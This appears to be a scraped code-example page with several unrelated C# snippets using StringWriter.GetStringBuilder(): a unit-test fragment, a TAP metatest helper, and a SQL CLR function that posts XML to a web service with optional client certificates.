				sb.Append(chArr[i]);
			sw.Write(sb.ToString());
			iCountTestcases++;
			if(!sw.GetStringBuilder().ToString().Equals(sb.ToString())) {
				iCountErrors++;
				printerr( "Error_298vc Expected=="+sb.ToString()+", got=="+sw.ToString());
			}
		} catch (Exception exc) {
			iCountErrors++;
			printerr( "Error_298yg! Unexpected exception thrown, exc=="+exc.ToString());
		}
		try {
			StringWriter sw = new StringWriter();
			iCountTestcases++;
			if(!sw.GetStringBuilder().ToString().Equals(String.Empty)) {
				iCountErrors++;
				printerr( "Error_3988h! Incorrect Strign in StringWriter");
			} 
		} catch (Exception exc) {
			iCountErrors++;
			printerr( "Error_198wh! Unexpected exception thrown, exc=="+exc.ToString());
		}
		if ( iCountErrors == 0 )
		{
			Console.WriteLine( "paSs. "+s_strTFName+" ,iCountTestcases=="+iCountTestcases.ToString());
			return true;
		}
		else
		{
			Console.WriteLine("FAiL! "+s_strTFName+" ,iCountErrors=="+iCountErrors.ToString()+" , BugNums?: "+s_strActiveBugNums );
			return false;
		}
	}
Ejemplo n.º 57
0
 static Action MkMetatest(string expstr,string source) {
     source=TAPApp.FixPathSep(source);
     string[] expected=expstr.Split(new []{"\r\n"},StringSplitOptions.None).Select<string,string>(PreProc).Where(x=>x!=null).ToArray();
     NPlanned+=expected.Length;
     return ()=>{
         var sw=new StringWriter();
         TAPApp.Out=sw;
         TAPApp.Subject="u";
         try {
             TAPRunner r=new TAPRunner();
             Diag(source);
             r.CompileAndRun(new []{new ScriptPath(source,null)});
             var sr=new StringReader(sw.GetStringBuilder().ToString());
             int idx=0;
             do {
                 string s=sr.ReadLine();
                 if(s==null) break;
                 if(idx>=expected.Length) {
                     Diag("output has more lines than expected-arr: "+s);
                 } else {
                     Match m=ReRe.Match(expected[idx]);
                     if(m.Success) {
                         string re=m.Groups[1].Value;
                         Like(s,re);
                     } else {
                         Is(s,expected[idx]);
                     }
                 }
                 ++idx;
             } while(true);
         } catch(Exception) {
             Diag("sw contains "+Regex.Replace(sw.GetStringBuilder().ToString(),"^","#>> ",RegexOptions.Multiline));
             throw;
         }
     };
 }
    public static IEnumerable fnWebSendXMLDataKFHHomeSearch(
        SqlString PostURL,
        SqlString Method,
        SqlString ContentType,
        SqlXml XMLData,
        SqlString P12CertPath,
        SqlString P12CertPass,
        SqlInt32 Timeout,
        SqlString SchemaURI,
        SqlString RootName,
        SqlString SuccessNode,
        SqlString SuccessValue,
        SqlBoolean UniqueNodeValues,
        SqlString XPathReturnValue
        )
    {
        // creates a collection to store the row values ( might have to make this a scalar row rather then multi-rowed )
        ArrayList resultCollection = new ArrayList();

        // logs the time the row had begun processing
        SqlDateTime _StartedTS = DateTime.Now;

        // stores the URL of the request and stores any xml input as bytes
        Uri URL = null;

        byte[] postBytes = null;

        // if the required fields post url and method are not provided then...
        if (PostURL.IsNull || PostURL.Value == "" || Method.IsNull)
        {
            resultCollection.Add(new PostResult(null, null, false, true, "The [Post URL] was missing or the [Method] was missing.", STATUS_CODES.FAILED_VALIDATION, null));
            return(resultCollection);
        }

        // if the methods are not correctly set to the only valid values then...
        if (Method.Value != "POST" && Method.Value != "GET")
        {
            resultCollection.Add(new PostResult(null, null, false, true, "The [Method] provided was not either POST or GET.", STATUS_CODES.FAILED_VALIDATION, null));
            return(resultCollection);
        }

        // check to see if the url is correctly formed otherwise...
        if (Uri.TryCreate(PostURL.Value, UriKind.RelativeOrAbsolute, out URL) == false)
        {
            resultCollection.Add(new PostResult(null, null, false, true, "The [URL] provided was incorrectly formatted.", STATUS_CODES.FAILED_VALIDATION, null));
            return(resultCollection);
        }

        // if xml schema has been specified but no xml has been passed then...
        if (!SchemaURI.IsNull && XMLData.IsNull)
        {
            resultCollection.Add(new PostResult(null, null, false, true, "The [Schema URI] was provided but [XML Data] was not.", STATUS_CODES.FAILED_VALIDATION, null)); return(resultCollection);
        }

        // check to see if we can access the schema .xsd file otherwise...
        if (!SchemaURI.IsNull && System.IO.File.Exists(SchemaURI.Value) == false)
        {
            resultCollection.Add(new PostResult(null, null, false, true, "The [Schema URI] was provided but could not be loaded because it could not be found.", STATUS_CODES.FAILED_VALIDATION, null));
            return(resultCollection);
        }

        // if xml specific fields are available but no xml has been passed then...
        if ((!RootName.IsNull || !SuccessNode.IsNull || !SuccessValue.IsNull) && XMLData.IsNull)
        {
            resultCollection.Add(new PostResult(null, null, false, true, "The [Root Name] or [Success Node] or [Success Value] was provided but the [XML Data] was missing.", STATUS_CODES.FAILED_VALIDATION, null));
            return(resultCollection);
        }

        // if certificate pass is specified but no certificate file has then...
        if (!P12CertPass.IsNull && P12CertPath.IsNull)
        {
            resultCollection.Add(new PostResult(null, null, false, true, "The [P12 Cert Pass] was provided but the [P12 Cert Path] is missing.", STATUS_CODES.FAILED_VALIDATION, null));
            return(resultCollection);
        }

        // check to see if we can access the certificate file otherwise...
        if (!P12CertPath.IsNull && System.IO.File.Exists(P12CertPath.Value) == false)
        {
            resultCollection.Add(new PostResult(null, null, false, true, "The [P12 Cert Path] was provided but could not be loaded because it could not be found.", STATUS_CODES.FAILED_VALIDATION, null));
            return(resultCollection);
        }

        // check that the certificate provided can be opened before performing major code...
        if (!P12CertPath.IsNull)
        {
            try
            {
                if (!P12CertPass.IsNull)
                {
                    new X509Certificate2(P12CertPath.Value, P12CertPass.Value);
                }
                else
                {
                    new X509Certificate2(P12CertPath.Value);
                }
            }
            catch (Exception ex)
            {
                resultCollection.Add(new PostResult(null, null, false, true, String.Format("Certificate exception. {0}. {1}. {2}.", ex.Source, ex.Message, ex.StackTrace), STATUS_CODES.FAILED_VALIDATION, null));
                return(resultCollection);
            }
        }

        // check if any xml data has been passed to the clr
        using (var stringWriter = new StringWriter())
        {
            if (!XMLData.IsNull)
            {
                // prepare xml variable
                XmlDocument2 xDoc = new XmlDocument2();

                try
                {
                    // rename root node if applicable
                    if (!RootName.IsNull)
                    {
                        XmlDocument2 _xDoc = new XmlDocument2();
                        _xDoc.LoadXml(XMLData.Value);
                        XmlElement _xDocNewRoot = xDoc.CreateElement(RootName.Value);
                        xDoc.AppendChild(_xDocNewRoot);
                        _xDocNewRoot.InnerXml = _xDoc.DocumentElement.InnerXml;
                    }
                    else
                    {
                        // otherwise just load the xml exactly as provided
                        xDoc.LoadXml(XMLData.Value);
                    }

                    // add the xml declaration if it doesn't exist
                    if (xDoc.FirstChild.NodeType != XmlNodeType.XmlDeclaration)
                    {
                        XmlDeclaration xmlDec = xDoc.CreateXmlDeclaration("1.0", "UTF-8", null);
                        XmlElement     root   = xDoc.DocumentElement;
                        xDoc.InsertBefore(xmlDec, root);
                    }

                    // if the schema file has been specified then validate otherwise skip
                    if (!SchemaURI.IsNull)
                    {
                        System.Xml.Schema.XmlSchemaSet schemas = new System.Xml.Schema.XmlSchemaSet();
                        schemas.Add("", SchemaURI.Value);
                        xDoc.Schemas.Add(schemas);
                        if (!UniqueNodeValues.IsNull)
                        {
                            xDoc.UniqueNodeValues = UniqueNodeValues.Value;
                        }
                        xDoc.Validate(ValidationEventHandler);
                    }

                    // adds any validation errors to the output rows and stops processing if errors were found
                    if (xDoc.ValidationErrors.Count > 0)
                    {
                        resultCollection.AddRange(xDoc.ValidationErrors);
                        return(resultCollection);
                    }

                    // Save the xml as a string
                    using (var xmlTextWriter = XmlWriter.Create(stringWriter))
                    {
                        xDoc.WriteTo(xmlTextWriter);
                        xmlTextWriter.Flush();
                    }

                    // get the bytes for the xml document
                    //postBytes = Encoding.UTF8.GetBytes(xDoc.OuterXml);
                    UTF8Encoding encoding = new UTF8Encoding();
                    postBytes = encoding.GetBytes(xDoc.InnerXml);

                    //Revisions:

                    //json String Variable
                    // byte[] byteData = new System.Text.ASCIIEncoding().GetBytes(json);
                }
                catch (Exception ex)
                {
                    string errorMsg = String.Format("XML Parse exception. {0}. {1}. {2}.", ex.Source, ex.Message, ex.StackTrace);
                    resultCollection.Add(new PostResult(stringWriter.GetStringBuilder().ToString(), null, false, true, errorMsg, STATUS_CODES.XML_ERROR, null, _StartedTS));
                    return(resultCollection);
                }
            }

            if (Timeout.IsNull)
            {
                Timeout = 20;
            }
            if (ContentType.IsNull)
            {
                ContentType = "*/*";
            }


            // Set the SecurityProtocol

            System.Net.ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;


            // create the web request object after validation succeeds
            HttpWebRequest webRequest;
            try
            {
                // create the http request
                webRequest = (HttpWebRequest)HttpWebRequest.Create(URL);

                // setup the connection settings
                webRequest.Method      = Method.Value;
                webRequest.ContentType = ContentType.Value;
                webRequest.Accept      = ContentType.Value;
                webRequest.Timeout     = (Timeout.Value * 1000);
                webRequest.SendChunked = true;
                webRequest.KeepAlive   = false;
            }
            catch (Exception ex)
            {
                string errorMsg = String.Format("WebRequest Create exception. {0}. {1}. {2}.", ex.Source, ex.Message, ex.StackTrace);
                resultCollection.Add(new PostResult(stringWriter.GetStringBuilder().ToString(), null, false, true, errorMsg, STATUS_CODES.FAILURE, null, _StartedTS));
                return(resultCollection);
            }

            try
            {
                // add the P12 certificate to the request if specified
                if (!P12CertPath.IsNull)
                {
                    // load with password if specified
                    if (!P12CertPass.IsNull)
                    {
                        webRequest.ClientCertificates.Add(new X509Certificate2(P12CertPath.Value, P12CertPass.Value));
                    }
                    else
                    {
                        webRequest.ClientCertificates.Add(new X509Certificate2(P12CertPath.Value));
                    }
                }
            }
            catch (Exception ex)
            {
                string errorMsg = String.Format("Certificate exception. {0}. {1}. {2}.", ex.Source, ex.Message, ex.StackTrace);
                resultCollection.Add(new PostResult(stringWriter.GetStringBuilder().ToString(), null, false, true, errorMsg, STATUS_CODES.CERTIFICATE_ERROR, null, _StartedTS));
                return(resultCollection);
            }

            // post the request
            if (Method.Value == "POST")
            {
                try
                {
                    using (StreamWriter postStream = new StreamWriter(webRequest.GetRequestStream(), Encoding.UTF8))
                    {
                        try
                        {
                            // post the data as bytes to the request stream
                            if (postBytes != null)
                            {
                                postStream.Write(System.Text.Encoding.UTF8.GetString(postBytes));
                                postStream.Flush();
                                //postStream.BaseStream.Write(postBytes, 0, postBytes.Length);
                            }
                        }
                        catch (Exception ex)
                        {
                            string errorMsg = String.Format("StreamWriter exception. {0}. {1}. {2}.", ex.Source, ex.Message, ex.StackTrace);
                            resultCollection.Add(new PostResult(stringWriter.GetStringBuilder().ToString(), null, false, true, errorMsg, STATUS_CODES.GET_REQUEST_STREAM, null, _StartedTS, DateTime.Now));
                            return(resultCollection);
                        }
                        finally
                        {
                            postStream.Close();
                        }
                    }
                }
                catch (Exception ex)
                {
                    string errorMsg = String.Format("Web request exception. {0}. {1}. {2}.", ex.Source, ex.Message, ex.StackTrace);
                    resultCollection.Add(new PostResult(stringWriter.GetStringBuilder().ToString(), null, false, true, errorMsg, STATUS_CODES.GET_REQUEST_STREAM, null, _StartedTS, DateTime.Now));
                    return(resultCollection);
                }
            }

            string          response    = string.Empty;
            HttpWebResponse objResponse = null;

            // get the response (also used for GET)
            try
            {
                objResponse = (HttpWebResponse)webRequest.GetResponse();
                if (webRequest.HaveResponse == true)
                {
                    using (StreamReader responseStream = new StreamReader(objResponse.GetResponseStream()))
                    {
                        try
                        {
                            // get the result of the post
                            response = responseStream.ReadToEnd();

                            // see if the response is in xml format or not
                            XmlDocument doc = null;
                            if (response.IndexOf("<", 0) <= 2)
                            {
                                doc = new XmlDocument();
                                try { doc.LoadXml(response); }
                                catch (Exception) { doc = null; }
                            }

                            // if the response is expected in xml format
                            if (doc != null)
                            {
                                // check for a success value and node if specified...
                                if (!SuccessNode.IsNull && !SuccessValue.IsNull)
                                {
                                    try
                                    {
                                        // use the response xml and get the success node(s) specified in the xpath
                                        XmlNodeList nodeSuccess = doc.SelectNodes(SuccessNode.Value);

                                        using (XmlNodeReader xnr = new XmlNodeReader(doc))
                                        {
                                            if (nodeSuccess.Count == 0)
                                            {
                                                resultCollection.Add(new PostResult(stringWriter.GetStringBuilder().ToString(), new SqlXml(xnr), false, false, null, STATUS_CODES.XML_XPATH_RESULT_NODE_MISSING,
                                                                                    ReturnStringFromXPath(XPathReturnValue, ref doc), _StartedTS, DateTime.Now));
                                            }
                                            else
                                            {
                                                // loop through each node we need to validate and get the value
                                                IEnumerator EN = nodeSuccess.GetEnumerator();
                                                while (EN.MoveNext() == true)
                                                {
                                                    if (((XmlNode)EN.Current).InnerText == SuccessValue.Value)
                                                    {
                                                        resultCollection.Add(new PostResult(stringWriter.GetStringBuilder().ToString(), new SqlXml(xnr), true, false, null, STATUS_CODES.SUCCESS,
                                                                                            ReturnStringFromXPath(XPathReturnValue, ref doc), _StartedTS, DateTime.Now));
                                                    }
                                                    else
                                                    {
                                                        resultCollection.Add(new PostResult(stringWriter.GetStringBuilder().ToString(), new SqlXml(xnr), false, true, null, STATUS_CODES.FAILURE,
                                                                                            ReturnStringFromXPath(XPathReturnValue, ref doc), _StartedTS, DateTime.Now));
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    catch (Exception ex)
                                    {
                                        string errorMsg = String.Format("XML reader exception. {0}. {1}. {2}.", ex.Source, ex.Message, ex.StackTrace);
                                        resultCollection.Add(new PostResult(stringWriter.GetStringBuilder().ToString(), null, false, true, errorMsg, STATUS_CODES.FAILURE,
                                                                            ReturnStringFromXPath(XPathReturnValue, ref doc), _StartedTS, DateTime.Now));
                                        return(resultCollection);
                                    }
                                }
                                else
                                {
                                    // if we're not checking for a success node then just return the xml response
                                    using (XmlNodeReader xnr = new XmlNodeReader(doc))
                                    {
                                        resultCollection.Add(new PostResult(stringWriter.GetStringBuilder().ToString(), new SqlXml(xnr), true, false, null, STATUS_CODES.SUCCESS,
                                                                            ReturnStringFromXPath(XPathReturnValue, ref doc), _StartedTS, DateTime.Now));
                                    }
                                }
                            }
                            else
                            {
                                // all other requests return in plain text in the additional info column
                                resultCollection.Add(new PostResult(stringWriter.GetStringBuilder().ToString(), null, true, false, response, STATUS_CODES.SUCCESS,
                                                                    ReturnStringFromXPath(XPathReturnValue, ref doc), _StartedTS, DateTime.Now));
                            }
                        }
                        catch (Exception ex)
                        {
                            string errorMsg = String.Format("StreamWriter exception. {0}. {1}. {2}.", ex.Source, ex.Message, ex.StackTrace);
                            resultCollection.Add(new PostResult(stringWriter.GetStringBuilder().ToString(), null, false, true, errorMsg, STATUS_CODES.FAILURE, null, _StartedTS, DateTime.Now));
                            return(resultCollection);
                        }
                        finally
                        {
                            responseStream.Close();
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                string errorMsg = String.Format("Web response exception. {0}. {1}. {2}.", ex.Source, ex.Message, ex.StackTrace);
                resultCollection.Add(new PostResult(stringWriter.GetStringBuilder().ToString(), null, false, true, errorMsg, STATUS_CODES.FAILURE, null, _StartedTS, DateTime.Now));
                return(resultCollection);
            }
            finally
            {
                if (objResponse != null)
                {
                    objResponse.Close();
                }
            }
        }

        return(resultCollection);
    }
Ejemplo n.º 59
0
 protected override void WriteCustomPage(StringWriter writer)
 {
     _document.AddCustomPage(writer.GetStringBuilder());
 }
 public override void StartNode(AstNode node)
 {
     base.StartNode(node);
     startOffsets.Push(stringWriter.GetStringBuilder().Length);
 }